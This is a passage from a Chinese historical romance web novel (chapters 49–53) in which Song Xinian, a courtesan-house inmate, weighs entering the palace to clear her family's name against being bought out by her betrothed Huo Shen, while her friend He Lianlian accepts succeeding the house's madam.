霍慎被她缠得没办法,无奈地说:“你是不知道羞吗?”<
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“我不觉得羞啊,而且我们已经是换过庚帖的未婚夫妻了,有什么好害羞的!”
谁知宋昔年居然就这么坦然地承认了,没有半点女孩家的矜持。
=霍慎用手点了点宋昔年的额头,问她:“你不知女孩家要有矜持的吗?”
“对着你不需要,我若是当初矜持了,今日和你湖上泛舟的就不会是我了!”
宋昔年摇头,直言不讳地对霍慎说,这也是宋昔年的肺腑之言。
霍慎没有想到他会被一个女子这么直白热烈地爱着,他当初之所以会毫不犹豫地答应这门婚事,除了迫于外界的舆论压力外,也是想看看宋昔年到底是有多爱自己。一个像太阳般的女孩,会怎么样爱自己。
霍慎心里很满意宋昔年的答案,却还是强行地把掰开了宋昔年抱住自己腰的手。
被强行分开的宋昔年有点失望,霍慎却在下一刻牵起了她的手,在宋昔年的印象里,霍慎很少这么主动地和自己有肢体接触。
沐浴在黄昏之下,晚秋的风带着丝丝凉意,他们不惧旁人的眼光,牵手走在枯草遍地的路上。宋昔年能很清楚地感受到霍慎掌心传来的温度,宋昔年感觉这温度,正在通过她的掌心缓缓流入自己的内心深处。
宋昔年知道这就是霍慎对自己爱意的表达,虽然不如自己给他的强烈,但也足够支撑着她继续义无反顾地走向霍慎。宋昔年很是满足地握紧了霍慎的手。
霍慎感受到宋昔年加重了握住自己手的力度,两人相视一笑。
美好都是很短暂的,霍慎醒来感觉头昏脑胀,心情也十分低落。
霍慎一人躺在床上,一人在这空荡荡的卧房里,突然感觉自己很可笑。霍慎伸手在自己的枕头下摸索,拿出那个不知何时就在枕下的红色盖头,摸着盖头上绣工粗糙的龙凤纹。这方盖头现在是霍慎唯一地寄托。
宋昔年这几日一直都在等霍慎来找自己,她想再次确认自己对霍慎的心意,也想看看霍慎这次会不会像他说的那样娶自己。
突然阿昙跑回下院和她说,贺怜怜被杜妈妈叫去很久了,一直没有回来,以前从来没有遇见过这种情况啊昙很是担心。
“姐姐,你说会不会出什么事啊!三楼的婶子们今日叫了姑娘上去之后,就守在了三楼的台阶处,不让任何人靠近,这是从来没有过的事情。”
阿昙心急如焚,在乐章台贺怜怜是她唯一的依靠,如果贺怜怜出了什么事,那阿昙的日子也会不好过。
“你先别慌,以前怜姐姐也是经常上楼喝茶的,兴许这次只是时间久了点而已,我们别自己吓自己。”
宋昔年安慰着六神无主的阿昙,也是在给自己心理暗示。
宋昔年带着阿昙上去,她在一楼仰头看向三楼,三楼的台阶处,果然是杜妈妈身边的婶子在守着,原来常年开着的三楼落地大窗,今日也离奇地关闭了。
宋昔年隐隐有种不好的感觉,总感觉有事要发生。
50. 第 50 章
宋昔年鼓起勇气,上前询问,不出所料地被阻拦了。两位婶子同时伸手阻挡宋昔年,表情十分严肃。
“台主吩咐了,现在所有人都不得上去打扰,你还是速速回去吧,别自讨没趣!”
婶子们知道宋昔年在杜妈妈那还算有点分量,好心出言提醒宋昔年,希望她能知难而退。
“我知婶子们的意思,我只是想知道怜姐姐可是犯了什么事?还望婶子们告知,好让我们有个准备!”
宋昔年屈膝,语带恳求地问。
“不是!”
她们思考了一下,还是给你宋昔年一个准话。
有了这两个字,宋昔年放心不少,这至少说明贺怜怜不会被送去乐营,排除了这个最坏的结果,宋昔年在想是不是贺怜怜主动找的杜妈妈,说了她要赎身嫁给那位方家公子的事?因为贺怜怜是花魁,所以和一般官妓要赎身不一样?
宋昔年想了半天,觉得又有点说不通,乐章台怎么会为了一个花魁如此兴师动众,有朝顶作为后盾的乐章台是不惧怕任何风险和变故的,只要江山稳固,乐章台就会长盛不衰。
宋昔年站在那思考,没发现三楼的大窗早就打开了,阿悯站在三楼看着宋昔年。
“阿梦,台主问你可要上来?”
阿悯的声音从宋昔年的头顶,悠悠响起,声音不大却能响彻整个乐章台,飘入每个人的耳中,有的胆子大的,打开了房间的窗子查看,例如秦珍珍。毕竟白天的乐章台姑娘们最喜欢的就是看热闹。
宋昔年抬头与阿悯对视,宋昔年试探地踏上三楼的第一个台阶,没有遭到两位婶子的阻拦,正在宋昔年准备继续向上走时,阿悯又出声说道。
“你真的想好了?上来了就不能中途反悔了!”
阿悯的声音没有任何情绪波动,但是劝阻的意味却十分明显。
杜妈妈知道阿悯的意图,轻声斥责道:“多事!”杜妈妈似乎很不满阿悯的自作主张。
宋昔年闻言,抬脚悬在半空思考。最终还是一步步坚定地上了三楼。
“瞧见了,你的好心人家不稀罕呢!你又何必多此一举,弄得我像是坏人一样。”
杜妈妈不满地和阿悯抱怨,手上的团扇不停地煽动,好似气得不轻。
阿悯把房间的门提前打开一点,等着宋昔年上开,自己则走到炭笼前,拨弄里面的炭火,使它烧得更旺些。
“我只是想尽人事而已!”阿悯蹲在炭笼前,小声地说。
“啧啧,若真如此,你当初怎么不为你自己争一争?”
杜妈妈对阿悯的回答嗤之以鼻。
发生的一切都被贺怜怜看在眼里,但是贺怜怜始终是沉默的,她只是一直在浅尝着她的苦茶沫子,此刻对她来说,只有她口中的苦涩是真实存在的,她早就无暇顾及旁的事。
宋昔年看见门没关,还是礼貌地敲了门,然后轻推门进屋。宽敞的屋子里,加上自己现在只有四个人,与上次来的时候不同,在场的三个人的表情都不太好,这让宋昔年一时看不清楚状况。
“既然来了,就别傻站着了,过来坐吧!”
杜妈妈带着无奈看着她。
阿悯不知何时去了后厨,厨房里传出一阵饭菜的香味。
宋昔年在茶桌面前坐下,杜妈妈将一杯竹叶青放在她面前,好似一早料定好了她会来一样。
“先喝杯茶,等会儿要吃饭了!”
杜妈妈像一位慈祥的长辈一样叮嘱宋昔年。
宋昔年端着茶杯眼神却落在侧边的贺怜怜身上,宋昔年看出了贺怜怜的不对劲,但当着杜妈妈的面宋昔年也不好询问。
“不知妈妈今日叫我们上来有何吩咐?”
宋昔年迂回地询问着,想从中得到些有用的消息。
“哎,我可没有叫你上来,是你自己非要上来的!”
杜妈妈立即否认,表明自己的立场。
宋昔年想了一下,好像还真是如此,从始至终,杜妈妈就只叫了贺怜怜一人,自己是死皮赖脸非要上来的,而且她们甚至还隐晦提醒自己别上来自投罗网。
“妈妈说的是,是我不知深浅,但我也是实在不放心!”
宋昔年尴尬地承认自己不请自来。
“我倒是佩服你的勇气,果然是虎父无犬女,也很羡慕你们姐妹俩的情谊。”
杜妈妈的目光来回在二人身上扫视。
宋昔年很是惊讶,没想到杜妈妈居然认识自己的父亲,她的疑问变得更多了,还没等她问出口,就被杜妈妈抬手制止。
“马上要吃饭了,吃完了饭,我们再慢慢聊,否则,我怕我会吃不下去。”
杜妈妈手中的团扇指着宋昔年,深深吐出一口气,好像很庆幸自己及时拦住宋昔年。
宋昔年只能乖巧地点头。
“你不该上来的,这件事和你没有关系!”
贺怜怜冷不丁地开口。
杜妈妈刚调节好的心情,瞬间破碎,团扇都被气得拿不稳了。
“你个死丫头,成心是不想让我好好吃饭是吧?喝了那么多茶,还堵不住你的嘴吗?是不是真的觉得我想选你,你就给我抖起来了?”
宋昔年不敢出声,只是暗暗在想杜妈妈话中的意思,贺怜怜被杜妈妈选中了,但是什么事情要选中花魁?宋昔年百思不得其解。
这时阿悯打开了后厨的门,对着她们说“吃饭了!”
宋昔年第一时间去帮忙端菜,菜一上桌,四人分坐四方。
“动筷吧!”
杜妈妈率先动筷,她们也紧随其后。一桌子的家常小炒,在这个装饰古朴的大开间里显得十分违和。
在宋昔年的印象里,杜妈妈很有高门的气质。穿着也是十分讲究的,宋昔年万万没有想到杜妈妈的饭食这么接地气。
吃完之后,宋昔年自觉地帮着阿悯收拾碗筷,却被阿悯眼神示意别让杜妈妈久等,阿悯把宋昔年推出厨房,一个人忙活起来。
宋昔年局促地坐回茶桌前,杜妈妈瞧着宋昔年小心的模样忍不住调侃她。
“哈哈哈哈,你先前上楼时的胆魄去哪了?现在可是后悔了?”
贺怜怜出面解围,说道:“妈妈,你还是让她回去吧,何必多个陪绑的。”
“你怎知她会给你陪绑?你们俩都不想查清事情真相,为家人正名了?难不成真的被男人给迷昏了头脑?”
杜妈妈淡定地给自己倒茶,还看了一眼宋昔年的茶杯,想给宋昔年也添点,但是被宋昔年摇头拒绝。
听到这话,二人心头一凛,思绪翻飞,在想杜妈妈的话是什么意思,她到底还知道多少。
“妈妈您不如爽快点,把你知道的都告诉我们吧,何必拿这个总是吊着我们姐妹。”
贺怜怜想直接问个明白,她很不喜欢这种感觉,好似在被人操
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控一样。
“都告诉你,你确定你有命听?”
杜妈妈语气戏谑,但眼神中透露的却满是压迫感。甚至还掺杂了若有似无的杀气。
姐妹二人被杜妈妈的眼神镇住了,知道自己是说错话了,都不敢再说什么,默契地端起茶杯假装喝茶。
“没出息!”
杜妈妈被她们逗笑了,用团扇遮挡住翘起的唇。
“那个人已经时日无多了。我很快就可以离开这里了。但是在离开前,我必须找到一个接替我的人。怜怜你考虑得如何?”
杜妈妈转头看着窗外皇宫的方向,眼中有着不明的情愫。
“我.....我不确定!”
贺怜怜被杜妈妈的声音吓一激灵,随后反应过来自己反应太大了,只能朝她们尴尬一笑。
“妈妈口中的那个人在宫里?”宋昔年小心翼翼试探问道。
“那个人就是当今圣上,想不到吧!”
如果杜妈妈是从宫里出来的,那一切都说得通了,难怪杜妈妈总是望着皇宫的方向发呆。杜妈妈一个风月场的主事人,身上却没有半点风尘气。
“小宋如果你想查清楚,你父亲的被陷害的始末,我建议你还是进宫的好,只有深入其中才能离你想要的东西更近。”
杜妈妈手中的团扇,放慢速度,有节奏地煽动着,宋昔年突然觉得杜妈妈的话很有道理。
“那您为什么不能直接告诉我们呢?”
贺怜怜还是不死心地又问了一遍。
“天下不劳而获是要付出代价的,现在你们一无所有,付不起!再说只有你们亲身经历之后,才能明白人性的善与恶,这也是对你们最好的打磨。”
杜妈妈的语气坚定,不容她们反驳。
“我什么样的男人没见过,我还不了解人性吗?”
贺怜怜嗤笑,像是在自嘲。
“你如果真的了解,那怎么会被一个男人的几句花言巧语,就想着赎身出去做小妾?我现在给你机会让你选,你还犹豫不决!都是做妾,为何不找全天下最有权势的男人?”
杜妈妈边说边看着贺怜怜,看向贺怜怜的眼神就像在看傻子一样。
“妈妈你的意思是说,如果怜姐姐接替了你的位子,就要成为太子的女人?这怎么可能?”
宋昔年完全不相信,杜妈妈的话,当场太子,未来的一国之君怎么可能和官妓有牵扯。
“怎么不可能,那个位子上的男人,只在乎女人对他是否有用,有用的话一切皆有可能。”
“我的意思是说,自古以来要成为帝王的女人,都必须是完璧之身才行。”
宋昔年害羞地说着,脸也悄悄地红了。
“哈哈哈,你还是太年轻了,怜怜不需要进宫,她自然不用守这个规矩。”
“那就是说,以后怎么办?”
贺怜怜似乎不太懂杜妈妈的意思,开口问道。
“女人最重要的就是手上的权力,不然为什么那些高门贵女都抢着做正室嫡妻,你们以为她们是在抢男人?不过都是为了自己手中的权力罢了。”
杜妈妈满脸不屑地说。
“那皇上不怕被背叛吗?毕竟分隔两地。”
宋昔年问出了贺怜怜最疑惑的问题。
“你们觉得我为什么非要等他宾天才能自由?”
杜妈妈挑眉看着这两个年轻女孩。
51. 第 51 章
“皇帝给你下了圣旨,不从就要了你和家人的性命?”贺怜怜大胆猜测。
“我接手乐章台时,早就是股神土人了,我当时无牵无挂,并不怕死!”
杜妈妈摇头耸肩,看着她们,让她们继续发挥想象力。
“只有永远的效忠才能得到您想要的权力?”
宋昔年也尝试说出他的结论、
“你只说对了一半,皇权是不容挑战的,即使我发誓永不背叛,他们也不会相信的。”
说到这。杜妈妈突然神情有些悲伤落寞。
见她们猜不出来,杜妈妈自己公布了答案,亲自揭开了自己尘封多年的伤疤。
“我出宫前,他们给我下了一种蛊虫,中了这种蛊就不能背叛,否则就会被蛊虫噬心而死,据说极其痛苦。这种蛊虫分子母,那人体内的是母蛊,我体内的是子蛊。只要母蛊死了,子蛊就会自然死亡,排出体外。”
“那这和成为皇帝的女人有什么关系?”
宋昔年尤为不解,但作为过来人的贺怜怜立马就心领神会。
杜妈妈看见贺怜怜的表情,知道她听懂了,微微一笑,问她:“所以你愿意吗?”
贺怜怜此刻才开始认真地思考起来。
“只要你耐得住寂寞,权力地位唾手可得!当然,如果你本事够大,也还是能二者兼得的!”
杜妈妈又补充说道,对着贺怜怜会会心一笑。
贺怜怜自然明白杜妈妈的意思,但是她一个残花败柳之身,真的可以在帝王心中博得一席之地吗?她不自信地陷入沉思。
杜妈妈看见贺怜怜突然的沉默,她就把目标换成了宋昔年。
“小宋你呢,和怜怜很不一样,你的选择比她多,身上的担子也比她重,所以你更要好好选择,因为你不单单是为了你自己,更要为你的家人考虑。”
杜妈妈冷静地替宋昔年分析着眼下的状况。
“如果我依妈妈所言进宫,我要怎么做?我又能得到什么呢?”
宋昔年假装不在意地问。
“不错啊,学会了以自身利益为先,和我谈条件了,看来你在乐章台也学会了不少东西!”
杜妈妈夸赞宋昔年。
“或许这就是妈妈您说的代价吧,不瞒妈妈,我最近也十分苦恼,因为进宫这事,王家小侯爷他们反对的,怕我进宫后情况不好,正在想办法筹钱替我赎身。”
宋昔年向杜妈妈和盘托出,也是想提前知会一声,做两手准备。
杜妈妈笑着对她说:“你该知道我的规矩,若你能凑齐十五万两银子,我自然会放你走!”
“妈妈能否告知我,您想让我进宫的理由是什么?”
宋昔年见杜妈妈没有接话,于是她换了方式提问想得到答案。
“你先回答我,你就真的这么相信他们能救你出去,一群乳臭未干的毛孩子,真有这么多钱替你赎身?就算替你赎了出去,你又该用什么身份,栖身于何处?”
宋昔年内心感叹,果然姜还是老的辣,自己想要的答案没有得到,反倒被她问住了、
“霍慎说他会娶我!”
宋昔年小声低语,此刻她恨不得找个地缝钻进去。
杜妈妈嗤笑一声,端起茶杯,慢条斯理地喝了口茶,杜妈妈放下茶杯时,却发出了‘咚’的一声。
“原来你们都是不撞南墙不回头啊,也是年轻人总是不会轻易认输的。”
杜妈妈有些失望,但又很快释然,好像想到了什么难忘的往事。满脸都是遗憾。
宋昔年不好意思再辩解,只是说:“我也很纠结,所以想让妈妈给我指条明路!”
宋昔年的语气里满是诚恳,像极了一个迷路的孩子。
“如果是我,我会选择进宫,不为了别的,只为了能洗刷全家的冤屈。皇宫是最能让人认清现实的地方,你想成长就必须先看清自己和周围人。最重要的是靠自己得到的一切,那才是真正属于你的,任何人都夺不走。”
杜妈妈的这番话,不能说让宋昔年醍醐灌顶,但是也算受益良多。
宋昔年现在很痛苦,她的理性知道杜妈妈说的完全是对的,作为女儿,她应该为家人多考虑,父亲还在北境受苦,她居然还在为自己的小情小爱犹豫,但是她的确是放不下霍慎。
“你和霍家四公子的事,我也有所耳闻,他居然能主动说要娶你,你自然对他还抱有幻想。我不逼你,路给你指出来了,你走不走全看你自己的选择。”
杜妈妈突然觉得自己是自找苦吃,没事找事。自己难得想做件好事,她们俩却都不肯听自己的。
看着她俩像是在做什么生死决定一样为难,杜妈妈才发现自己是真的老了。她对于自己犹豫不决做决定的样子,已经完全没有记忆了。
“如果你选择进宫,我会把你母亲和嫂子都转为贱籍奴才,放她们出乐章台,免了你的赎金,就当是我离开前做的一桩善事吧,但是去出你要自己找。”
杜妈妈烦躁地说,也是在警告宋昔年别太不识相。
宋昔年内心狂喜,没想到杜妈妈会做出这么好的承诺。
“我事先说好,这个约定只是在我没离开之前有效,过时不候的!”
杜妈妈怕宋昔年拿着鸡毛当令箭,不得已又补充了一句。
宋昔年乖巧得像个小兔子,与前一刻简直判若两人,现在的宋昔年觉得此生最幸运的就是今天,得了杜妈妈的承诺比嫁给霍慎还要开心。
“行了,别在这碍我的眼了。时间也不早了,你们该下去了。”
杜妈妈开始下逐客令了,宋昔年迅速站了起来,行礼告退。却发现贺怜怜还坐在那一动也不动。就像是入定了一样。
宋昔年准备出声叫醒贺怜怜,没想到贺怜怜却开口说话了,眼神也逐渐清明。
“我愿意接任台主的位子,还请台主安排。”
贺怜怜没有叫杜妈妈而是叫了台主,这也说明了,她真的想好了。
“嗯!那你从今晚开始就别迎客了,我会把你的牌子取下来单独封存。”
杜妈妈不咸不淡地说着,向她们挥手,示意她们下楼去。
回到贺怜怜房间,宋昔年立马拉住贺怜怜问道
“姐
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姐你真的想好了?要吃下蛊虫的,说不定有毒的!”
宋昔年夸张地想象着,紧紧拉着贺怜怜的手。
“那个蛊虫本身应该没有毒性的。只要我洁身自好一定能像杜妈妈一样平安地等到自由的那天的。”
贺怜怜感觉她从这一刻开始,才算真正掌握自己的命运。她很感谢婆婆临死前告诉自己,要不断地向上爬。她终于彻底摆脱了和婆婆一样的结局,要开始自己人生的新篇章了。
她看向宋昔年,突然觉得她不争气,狠狠地敲了她的脑袋一下。
“你怎么能不做出决定就稀里糊涂下楼呢!”
“很痛的,姐姐!”
宋昔年摸着被敲痛的地方,委屈地看着贺怜怜。
贺怜怜隐约看见宋昔年眼中的泪水,生气地甩开了她的手,
“痛了才长记性!你可知道你犯了大错?”
贺怜怜恨极了,宋昔年这副迟钝的样子,开始和宋昔年解释缘由。
“你现在不进宫也得进宫了,卿云!”
宋昔年听了贺怜怜的话心中‘咯噔’一下,宋昔年不敢相信刚才在楼上还有的选,为何下了楼就立马变卦。
“姐姐,你开什么玩笑?刚在楼上杜妈妈还说随我选的。”
宋昔年语气中带着轻松,声音却是颤抖的,显然宋昔年不愿意相信贺怜怜的话。
“你若是没有上楼,或许你还有的选,可惜你不听劝,悯婶都提醒你了,你还执迷不悟。”
“我以为……”宋昔年试图狡辩。
“你以为乐章台是什么可以讨价还价的地方!”
贺怜怜的语气急促。
宋昔年看着贺怜怜的反应也感觉事情没有想象中那么简单。为什么杜妈妈突然肯如此大方免了赎身的银子,放母亲她们走,为何拦住所有人,偏让她上去?这所有的问题就像一颗炸弹一样,瞬间在宋昔年的脑子里炸开,弄得宋昔年彻底失去了思考能力。
“那我现在该怎么办?”
宋昔年现在只能求助贺怜怜。
“你现在只能进宫了,否则就是死路一条!杜妈妈不会允许你带着这么大的秘密活着走出乐章台的。你若是没有上楼,等我站稳了脚跟,你们就可以安全出乐章台。或者是你不知道今天的谈话内容,说不定可以寄希望于他们来替你赎身,但如今三条路你偏选了最险的一条。”
贺怜怜语气中满是无奈和对宋昔年的心疼。
宋昔年觉得自己真是应了那句‘屋漏偏逢连夜雨’
“你也别放弃,万事活着最大,其实杜妈妈说让你进宫是你最好的路,我也觉得她说得很对的。她分析的全是对你的利好,只要你进宫,宋婶她们也可以不用花钱就转籍出去了,如果是我,我也会选进宫的!最重要的是你的脑子真该好好磨炼清醒一下了。”
贺怜怜说着不算安慰她的话,安慰着宋昔年。
“如果杜妈妈是为了想让我进宫故意设计我呢?”
“你说的也不是没有可能,但是设计你,对她又有什么好处呢?”
这一点二人百思不得其解!
52. 第 52 章
天色渐晚,乐章台准备开台了,杜妈妈已经答应不让贺怜怜迎客,准备撤掉她的牌子,所以今晚是贺怜怜最后一次上台献舞。
阿昙从外面回来,手里拿着一件鎏金色的祥纹舞衣,面露喜色地站在贺怜怜面前。
“姑娘,这件衣服是刚才悯婶亲自交给我的,让姑娘今晚务必穿上,说今晚是姑娘的最后一次登台表演,一定要让看了表演的人念念不忘才好。”
宋昔年着手帮贺怜怜沐浴更衣,阿昙觉得她们苦尽甘来,在一旁兴奋地说个不停。宋昔年这时正是左右为难的时候,她只是机械地帮贺怜怜沐浴,完全沉浸在自己的世界里。贺怜怜在怀疑自己的选择是否是正确的,开始担心自己将来能不能做好。三人的路从今日开始,就彻底不同了。
“我该怎么和我娘她们说呢?”
宋昔年毫无预兆地说出这句话。
“你决定进宫了?”
贺怜怜试探地问道
“谁要进宫?”
阿昙闻言好奇地跑到她们身边,傻傻看着两个比自己年长的姐姐。
“阿昙,我以后若是不在了,你要好好照顾姐姐。”
宋昔年耐心交代阿昙,看着阿昙稚气的脸,她内心感叹,阿昙才是她们之中运气最好的那个,也许这就是人常说的‘傻人有傻福’吧。
“你若真的决定了,晚上就给悯婶传个话,省得夜长梦多,也好叫宋婶她们早做准备!我这里你放心,你只管顾好你自己就行。”
贺怜怜全程背对宋昔年,她不敢去看宋昔年的脸,贺怜怜其实也不知道劝着宋昔年进宫是不是对的,但她总觉得自己应该这么做。
“阿昙,麻烦你跑一趟,告诉悯婶,我愿意进宫,请杜妈妈别忘了对我的承诺!”
宋昔年做了许多内心的建设,才有了这个决定,她让阿昙去帮自己传个话,也是为了防止自己反悔。
阿昙刚准备出门,打开门就发现杜妈妈在楼下,正往她们这边来,她跑回去报信时,杜妈妈已经抬脚进入贺怜怜的房间了。
“怜怜你可准备好了?”
未见其人先闻其声,杜妈妈信步进入房中,带着她那招牌式的笑容看着三个小丫头。
“妈妈急什么,今日是我最后一日上台,总要收拾齐整了。”
“不是我急,是楼下的那群男人们急?”
杜妈妈顺势坐在椅子上,等着贺怜怜一起出去。
“妈妈您已经对外宣布了怜姐姐的事了吗?”
宋昔年不动声色地问杜妈妈。
“没有啊,我只是说今晚的贺怜怜一定会技惊四座,吊足了他们的胃口罢了。重要的消息当然要放在最后说!”
杜妈妈虽然轻描淡写地说着,但其实台下的男人们当时已经沸腾了,恨不得马上见到贺怜怜本人。
宋昔年帮着贺怜怜选头饰,她最后选了自己送给贺怜怜的那支珍珠不摇,为她戴在头上作为点缀,贺怜怜也很满意,上手亲自整理不摇的位置。
一切准备就绪,贺怜怜跟在杜妈妈后面,两人准备前后脚出门,在杜妈妈即将出门时,宋昔年开口了。
“我愿意进宫,还请妈妈不要忘记,对我的承诺!”
宋昔年说出这句话之后,自己的心里反而轻松了。
“你不后悔就好!”
杜妈妈头也不回地带着贺怜怜走了。
“姐姐真的要抛下我们独自进宫?”
阿昙闷声问她,拽着宋昔年的衣角。
“我们每个人都有自己要走的路,我也要去走属于我的路了,你也要走好你自己的路,知道嘛!”
宋昔年抱住阿昙,语重心长地说着,仿佛是在做最后的告别。
今晚杜妈妈亲自送贺怜怜上台表演,一曲结束,杜妈妈在台上宣布贺怜怜退隐。
“感谢今日捧场的各位公子,今晚这支舞是她的封山之作,从今往后贺怜怜就不再登台迎客了,乐章台会再选出新的花魁,倒是还请各位继续支持。”
杜妈妈一席话,震惊了乐章台的所有人,这个消息实在是太突然了,大家都在猜测,贺怜怜是不是被哪位富家公子赎了身。
“消息这么突然,是不是被人赎身,要给人做妾了?”
“贺怜怜这今年可没少赚,就没可能是她自赎的?”
“怎么可能,蝉联花魁宝座三年,估摸着今年的花魁也还会是她,这身价可不是开玩笑的,自赎怎么出得起价,退一步说就算出得起,杜妈妈只怕也不会放人吧!”
台下的人议论纷纷,都在猜测其中的原因,贺怜怜今日没有遭受围堵,也许是因为杜妈妈在旁,大家都给些面子吧。
贺怜怜回到房间收拾,杜妈妈刚才通知贺怜怜,让她搬到三楼去住,现在的房间空出来要给后来的新人。
“只带上金银细软就好,其他的我都不想要了,以后都可以重新置办,衣服就留最近宋婶给我新做的几件,其他的阿昙你帮我分给身量同我相近的姑娘们吧!”
宋昔年和阿昙都知道,贺怜怜这是彻底想和过去做分割,想要重新开始新的生活。
阿昙喊来了几个相熟的小姐妹帮忙,每人手里抱着大包袱出去了。
“年姐姐,霍家那个叫阿无的小厮说霍家四公子有事要找你,叫我回来传个话。说四公子在上次那个雅间等你,有要紧的事情同你说。”
阿昙一路小跑回来,一口气不带喘,说了所有话。
宋昔年还在思考中,贺怜怜就已经把她推到门外了,宋昔年反应过来的时候,很抗拒想进屋。
“难得有机会,你该和他好好告个别的!”
贺怜怜提醒着下意识逃避的宋昔年。
宋昔年才反应过来,自己已经选择了进宫。
“为何偏偏是今晚,老天真是喜欢捉弄人。”
宋昔年自言自语地向着雅间的方向独自行去。
宋昔年敲门进入房间,下一刻就被霍慎迎面抱住。这是霍慎为数不多的主动。
“祖父他们都同意了,我很快就能接你出去了!”
霍慎的声音是很明显带着轻快的。他紧紧地抱着宋昔年,告诉她这个好消息。
“你为什么不早点来呢?”
宋昔年冷静地说出带有指责的话。
霍慎发现了她的不对劲,松开宋昔年看着她。宋昔年不想和他纠缠,主动坐下和霍慎保持距离。
霍慎以为宋昔年是在生自己的气,他正在思考怎样解释宋昔年能够更好接受。
“你知道当初的那种情况,我就算立马娶你做妾,也不能解决问题,反而会引来帝王猜忌。现在就不一样了,皇上如今病入膏肓,想必无暇顾及宋家,况且将来皇上还要靠我祖父辅佐新帝稳定朝野内外。所以我现在娶
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你进门皇上应该会给祖父这个面子,以后你的日子才能平安!”
霍慎很有耐心地分析利弊给宋昔年听,希望宋昔年可以理解他的苦衷。
“你做什么都有自己的道理,这个我一直都知道的。”
宋昔年笑着看着宋昔年,朝他露出了自以为平静的笑容。
可是这个笑容却让霍慎想起了,宋昔年穿着红色嫁衣,对他的最后一个回眸一笑,这让霍慎感觉很不好,霍慎下意识地对宋昔年冷了脸,这是霍慎的老习惯了,他自己却并没有意识到。
宋昔年瞧见霍慎冷了脸,知道他是不满意自己刚才的回答,但她不久之后就要进宫,她也不想再和霍慎有这么牵扯,宋昔年觉得这就是她与霍慎的命。她现在只想和霍慎好好告别。
“我已经决定进宫了!”
这句话宋昔年说得十分没有底气,也许是因为宋昔年爱霍慎更多一点,宋昔年面对霍慎的时候,从来都是弱势的一方。
“理由呢”?
霍慎眯眼盯着宋昔年,压迫感十足,简单的三个字尽显了霍慎在这段感情里的主导地位。
“杜妈妈答应我,只要我进宫,就能无偿换娘和嫂子自由,我没有理由拒绝这么好的条件。”
宋昔年鼓足勇气抬头看着霍慎,眼神里满是倔强和委屈,她在拼命控制自己眼眶里的泪水,不让它流下来。
霍慎却叹了口气,自己把头又枕在了宋昔年的膝盖上。
“我为了你的事,已经好久没能安然入睡了,现在头又开始痛了。”
宋昔年能听出霍慎话里地疲惫感,忍不住低头看向霍慎,眼泪顺势滴在霍慎的脸上。
二人很有默契地同时抬手帮对方拭去泪水,指腹摩擦间二人都想起了从前的甜蜜瞬间。
霍慎鬼使神差地抬头吻住了宋昔年近在咫尺的唇。他们之前从未有过这么亲密的举动,宋昔年下意识地想要躲避,霍慎迅速用帮宋昔年拭泪的手扣住宋昔年的头,强势地加深了这个真正意义上属于二人的初吻。
一吻结束,霍慎看着满脸通红的宋昔年,心满意足地继续枕在宋昔年膝盖上。
“我的头真的好痛啊,你别再做什么多余的事,安心地等着我来接你就好!”
霍慎用命令的口吻和宋昔年说话,此时的宋昔年脑子一片浆糊,下意识地乖乖点头,为霍慎轻轻按揉着太阳穴。
霍慎满意地翘起了嘴角,闭上眼享受着宋昔年对自己的付出。
“那我要怎么去和杜妈妈说呢?而且我知道了一些不该知道的事,怜姐姐担心杜妈妈不会轻易地放我离开。”
宋昔年突然想起了,贺怜怜的话,拿不定主意,开始询问解决方法。
“阿无,你回去找祖母,拿银子,取来给我!”
霍慎把阿无叫进屋内吩咐。
阿无进屋见状,看见霍慎舒服地躺在宋昔年膝盖上,害羞地迅速低下头,听着霍慎的吩咐。
“你现在就去,我在这等你回来。”
霍慎始终没有睁开眼睛,只是专心地享受着难得甜蜜的时光。
“你明天拿着东西,去找杜妈妈,告诉她你不进宫了,告诉她剩下的找我谈就行,你别再管了,一切有我在。”
霍慎十分有把握,气定神闲地和宋昔年说。
宋昔年现在才觉得,这一切都和自己预设的结果不一样。
53. 第 53 章
宋昔年跟着贺怜怜一同搬到了三楼与杜妈妈同住,昨晚贺怜怜一直在等着宋昔年回来。听着动静察觉宋昔年轻手轻脚地上了床,贺怜怜闭眼安心睡觉。
清早起床,贺怜怜发现宋昔年无精打采的,精神不济便出言关心。
“你昨晚没睡好吗?可有和你的霍家四公子好好道别?”
“姐姐,我……我不想进宫了!”宋昔年硬着头皮说出这句话。
“哈哈哈,怎么才见了你那情郎一面,你就改变主意了?”
贺怜怜继续调笑宋昔年,她觉得宋昔年这样摇摆不定也属正常,自己当初不也头脑发昏要给方家公子生孩子嘛,贺怜怜并不觉得宋昔年的话是认真的。
宋昔年没有说话只是默默拿出霍慎昨晚给自己的银子,递给贺怜怜看。贺怜怜看着宋昔年手上的一沓银票,脸上的笑容突然僵住了。伸手接过银票数了数,往外间看了一眼,把宋昔年往自己身边拉了拉。
“你是认真的?”
贺怜怜眉头紧锁严肃地看着宋昔年,小声问她。
“我也不知道,我现在乱得很,之前王靖宇他们都说新帝登基,进宫祸福难料,昨晚他又送来了银子,我的确有些心动,但是我已经答应了杜妈妈,反悔会不会来得太快了?”
宋昔年越说越激动,开始有点语无伦次。
“你若真想好了不如早点坦白,长痛不如短痛,没事的,我能理解你,若是真能赎身出去,你既能和心爱男子相守,又不用和亲人分离,这便是两全,是再好不过的了。”
贺怜怜表示理解,尽量安抚宋昔年,平复她的情绪。
“可是,若不进宫我爹他们……”
“有舍才能有得,鱼和熊掌不可兼得,从来忠孝不可两全的。你必然要舍弃一方的,当初你们不是已经经历过一次了嘛,你应该最清楚的。”
宋昔年的话还没说完,就被贺怜怜打断,贺怜怜拉着宋昔年的手,力度稍重疼痛感,让宋昔年没有心思陷入自我怀疑,贺怜怜的话更是让宋昔年瞬间清醒。
“是啊,我当初就是没被选择的那个啊!”
宋昔年突然有感而发,明白了贺怜怜的意思。
宋昔年最终决定回下院问问她娘的意见,就像当初霍慎由着他祖父决定一样,宋昔年也选择了逃避,不想承担这份压力。
宋昔年心事重重地回到下院,见了母亲和嫂子就立即把二人一同拉进屋里,沉默地关上门。
宋昔年的这一举动,让她们一头雾水,不明白宋昔年这几日是怎么了。昨天晚上匆忙回来收拾了衣服,说是要陪着贺怜怜在三楼住一段时间,今早又心事重重地回来。
“可又是出什么事了?”
宋母有些无奈地看着最近反复无常的女儿。
“娘,你说爹爹和兄弟们会不会怪我?”宋昔年没头没脑地说出了这句话。
“小妹,你最近的压力是不是有点大?是不是霍慎还没来找你?”
“他昨晚来过了,所以我才……”
说着宋昔年低下头,眼泪倾泻而下。
“这不是好事嘛!怎么还哭起来了?你最近真的很奇怪,可有什么事瞒着我们的?”
